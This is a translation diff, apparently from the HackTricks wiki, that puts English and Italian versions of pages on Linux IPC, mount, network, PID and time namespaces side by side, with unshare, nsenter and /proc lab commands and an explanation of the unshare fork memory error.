2. **Consequence**:
2. **Conseguenza**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Soluzione**:
- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID.
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Controlla in quale namespace si trova il tuo processo
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
### Find all IPC namespaces
### Trova tutti i namespace IPC
```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an IPC namespace
### Entra in un namespace IPC
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
Puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/net`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
### Create IPC object
### Crea oggetto IPC
```bash
# Container
sudo unshare -i /bin/bash
@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status
# From the host
ipcs -m # Nothing is seen
```
## References
## Riferimenti
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -2,70 +2,63 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy.
Un mount namespace è una funzionalità del kernel Linux che fornisce isolamento dei punti di montaggio del file system visti da un gruppo di processi. Ogni mount namespace ha il proprio insieme di punti di montaggio del file system e **le modifiche ai punti di montaggio in un namespace non influenzano altri namespace**. Ciò significa che i processi in esecuzione in diversi mount namespace possono avere visioni diverse della gerarchia del file system.
Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system.
I mount namespace sono particolarmente utili nella containerizzazione, dove ogni container dovrebbe avere il proprio file system e configurazione, isolati da altri container e dal sistema host.
### How it works:
### Come funziona:
1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces.
2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy.
3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace.
4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points.
1. Quando viene creato un nuovo mount namespace, viene inizializzato con una **copia dei punti di montaggio dal suo namespace genitore**. Ciò significa che, al momento della creazione, il nuovo namespace condivide la stessa visione del file system del suo genitore. Tuttavia, eventuali modifiche successive ai punti di montaggio all'interno del namespace non influenzeranno il genitore o altri namespace.
2. Quando un processo modifica un punto di montaggio all'interno del proprio namespace, come montare o smontare un file system, la **modifica è locale a quel namespace** e non influisce su altri namespace. Questo consente a ciascun namespace di avere la propria gerarchia del file system indipendente.
3. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()`, o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWNS`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare i punti di montaggio associati a quel namespace.
4. **I descrittori di file e gli inode sono condivisi tra i namespace**, il che significa che se un processo in un namespace ha un descrittore di file aperto che punta a un file, può **passare quel descrittore di file** a un processo in un altro namespace, e **entrambi i processi accederanno allo stesso file**. Tuttavia, il percorso del file potrebbe non essere lo stesso in entrambi i namespace a causa delle differenze nei punti di montaggio.
## Lab:
## Laboratorio:
### Create different Namespaces
### Crea diversi Namespace
#### CLI
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo mount namespace abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Errore: bash: fork: Impossibile allocare memoria</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito:
1. **Problem Explanation**:
1. **Spiegazione del problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale.
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace.
2. **Consequence**:
2. **Conseguenza**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Soluzione**:
- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID.
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Controlla in quale namespace si trova il tuo processo
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
### Find all Mount namespaces
### Trova tutti i Mount namespaces
```bash
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
```bash
findmnt
```
### Enter inside a Mount namespace
### Entra in un Mount namespace
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
Inoltre, puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/mnt`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`).
Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it.
### Mount something
Poiché i nuovi mount sono accessibili solo all'interno del namespace, è possibile che un namespace contenga informazioni sensibili che possono essere accessibili solo da esso.
### Monta qualcosa
```bash
# Generate new mount ns
unshare -m /bin/bash
@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq
vmware-root_662-2689143848
```
## References
## Riferimenti
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
- [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux)

View File

@ -2,85 +2,75 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system.
Un network namespace è una funzionalità del kernel Linux che fornisce isolamento dello stack di rete, consentendo **a ciascun network namespace di avere la propria configurazione di rete indipendente**, interfacce, indirizzi IP, tabelle di routing e regole del firewall. Questo isolamento è utile in vari scenari, come la containerizzazione, dove ciascun container dovrebbe avere la propria configurazione di rete, indipendente dagli altri container e dal sistema host.
### How it works:
### Come funziona:
1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default.
2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container.
3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems.
4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace.
1. Quando viene creato un nuovo network namespace, inizia con uno **stack di rete completamente isolato**, con **nessuna interfaccia di rete** tranne l'interfaccia di loopback (lo). Ciò significa che i processi in esecuzione nel nuovo network namespace non possono comunicare con i processi in altri namespace o con il sistema host per impostazione predefinita.
2. **Interfacce di rete virtuali**, come le coppie veth, possono essere create e spostate tra i network namespaces. Questo consente di stabilire connettività di rete tra i namespace o tra un namespace e il sistema host. Ad esempio, un'estremità di una coppia veth può essere posizionata nel network namespace di un container, e l'altra estremità può essere collegata a un **bridge** o a un'altra interfaccia di rete nel namespace host, fornendo connettività di rete al container.
3. Le interfacce di rete all'interno di un namespace possono avere i propri **indirizzi IP, tabelle di routing e regole del firewall**, indipendenti dagli altri namespace. Questo consente ai processi in diversi network namespaces di avere configurazioni di rete diverse e operare come se stessero funzionando su sistemi di rete separati.
4. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()`, o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWNET`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare la configurazione di rete e le interfacce associate a quel namespace.
## Lab:
### Create different Namespaces
### Crea diversi Namespaces
#### CLI
```bash
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Errore: bash: fork: Impossibile allocare memoria</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Quando `unshare` viene eseguito senza l'opzione `-f`, si verifica un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito:
1. **Problem Explanation**:
1. **Spiegazione del problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale.
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace.
2. **Consequence**:
2. **Conseguenza**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Soluzione**:
- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID.
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
### &#x20;Check which namespace is your process in
### &#x20;Controlla in quale namespace si trova il tuo processo
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
### Find all Network namespaces
### Trova tutti i namespace di rete
```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Network namespace
### Entra all'interno di un Network namespace
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
Inoltre, puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/net`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
## References
## Riferimenti
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -2,89 +2,79 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management.
Il namespace PID (Process IDentifier) è una funzionalità nel kernel Linux che fornisce isolamento dei processi consentendo a un gruppo di processi di avere il proprio insieme di PID unici, separati dai PID in altri namespace. Questo è particolarmente utile nella containerizzazione, dove l'isolamento dei processi è essenziale per la sicurezza e la gestione delle risorse.
When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces.
Quando viene creato un nuovo namespace PID, il primo processo in quel namespace viene assegnato il PID 1. Questo processo diventa il processo "init" del nuovo namespace ed è responsabile della gestione degli altri processi all'interno del namespace. Ogni processo successivo creato all'interno del namespace avrà un PID unico all'interno di quel namespace, e questi PID saranno indipendenti dai PID in altri namespace.
From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another.
Dal punto di vista di un processo all'interno di un namespace PID, può vedere solo altri processi nello stesso namespace. Non è a conoscenza dei processi in altri namespace e non può interagire con essi utilizzando strumenti di gestione dei processi tradizionali (ad es., `kill`, `wait`, ecc.). Questo fornisce un livello di isolamento che aiuta a prevenire l'interferenza tra i processi.
### How it works:
### Come funziona:
1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**.
2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces.
3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace.
4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up.
1. Quando viene creato un nuovo processo (ad es., utilizzando la chiamata di sistema `clone()`), il processo può essere assegnato a un nuovo namespace PID o a uno esistente. **Se viene creato un nuovo namespace, il processo diventa il processo "init" di quel namespace**.
2. Il **kernel** mantiene una **mappatura tra i PID nel nuovo namespace e i PID corrispondenti** nel namespace padre (cioè, il namespace da cui è stato creato il nuovo namespace). Questa mappatura **consente al kernel di tradurre i PID quando necessario**, ad esempio quando si inviano segnali tra processi in diversi namespace.
3. **I processi all'interno di un namespace PID possono vedere e interagire solo con altri processi nello stesso namespace**. Non sono a conoscenza dei processi in altri namespace e i loro PID sono unici all'interno del loro namespace.
4. Quando un **namespace PID viene distrutto** (ad es., quando il processo "init" del namespace termina), **tutti i processi all'interno di quel namespace vengono terminati**. Questo garantisce che tutte le risorse associate al namespace vengano pulite correttamente.
## Lab:
### Create different Namespaces
### Crea diversi Namespace
#### CLI
```bash
sudo unshare -pf --mount-proc /bin/bash
```
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Errore: bash: fork: Impossibile allocare memoria</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Quando `unshare` viene eseguito senza l'opzione `-f`, si verifica un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito:
1. **Problem Explanation**:
1. **Spiegazione del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (chiamato "processo unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale.
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace.
2. **Consequence**:
2. **Conseguenza**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Soluzione**:
- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID.
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Assicurandosi che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
</details>
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace are your process in
### &#x20;Controlla in quale namespace si trova il tuo processo
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```
### Find all PID namespaces
### Trova tutti i namespace PID
```bash
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
```
Nota che l'utente root del namespace PID iniziale (predefinito) può vedere tutti i processi, anche quelli in nuovi spazi dei PID, ecco perché possiamo vedere tutti i namespace PID.
Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces.
### Enter inside a PID namespace
### Entrare all'interno di un namespace PID
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
Quando entri in un namespace PID dal namespace predefinito, sarai comunque in grado di vedere tutti i processi. E il processo di quel namespace PID sarà in grado di vedere il nuovo bash nel namespace PID.
When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns.
Inoltre, puoi **entrare in un altro namespace PID di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/pid`)
Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`)
## References
## Riferimenti
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -2,71 +2,61 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot.
Il time namespace in Linux consente offset per namespace sugli orologi monotoni e di avvio del sistema. È comunemente usato nei contenitori Linux per modificare la data/ora all'interno di un contenitore e regolare gli orologi dopo il ripristino da un checkpoint o snapshot.
## Lab:
### Create different Namespaces
### Crea diversi Namespaces
#### CLI
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Errore: bash: fork: Impossibile allocare memoria</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito:
1. **Problem Explanation**:
1. **Spiegazione del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale.
